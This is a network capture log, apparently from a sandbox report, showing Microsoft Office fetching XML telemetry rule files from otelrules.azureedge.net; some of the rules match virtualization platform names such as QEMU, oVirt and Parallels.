Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49835	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:58 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9121e195-401e-005b-48f2-249c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065058Z-r197bdfb6b42sc4ddemybqpm140000000p10000000008xg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49836	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:58 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6a252cba-901e-0029-59f2-24274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065058Z-r197bdfb6b4k6h5j1g5mvtmsmn0000000bpg00000000cm0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49837	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:59 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:59 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: acb2ef9b-e01e-001f-1f33-221633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065059Z-16849878b78dghrpt8v731n7r4000000077g0000000089dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:59 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49838	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:59 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:59 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 7cfbc72c-d01e-0082-6d55-22e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065059Z-16849878b78jfqwd1dsrhqg3aw00000007fg0000000056rs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:50:59 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49839	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:59 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:59 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 3e1aae04-d01e-00a1-06f2-2435b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065059Z-15b8d89586fwzdd8urmg0p1ebs00000008u000000000c4yb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:59 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49840	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:59 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: adc95832-401e-0016-59f5-2453e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065059Z-r197bdfb6b4kkrkjudg185sarw00000001cg00000000af2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49841	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:59 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:59 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a363c0e5-301e-003f-5298-25266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065059Z-16849878b787sbpl0sv29sm89s00000007d000000000awfr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:50:59 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49842	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:00 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 143ffe56-901e-0067-3a0b-22b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065100Z-16849878b784cpcc2dr9ch74ng00000007c000000000b5g5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49846	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:00 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:00 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: fffa9526-501e-0035-49f2-24c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065100Z-r197bdfb6b4kzncf21qcaynxz800000001ng00000000065c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:00 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:00 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: cea37fdd-f01e-003f-5ff2-24d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065100Z-r197bdfb6b4vlqfn9hfre6k1s80000000c1g00000000hwg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49843	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:00 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8b572347-501e-008c-80f2-21cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065100Z-16849878b785f8wh85a0w3ennn000000078000000000cnmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49845	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:00 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: e7a8c7ed-d01e-00ad-4ff5-24e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065100Z-r197bdfb6b4kkm8440c459r6k800000001gg000000003tvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 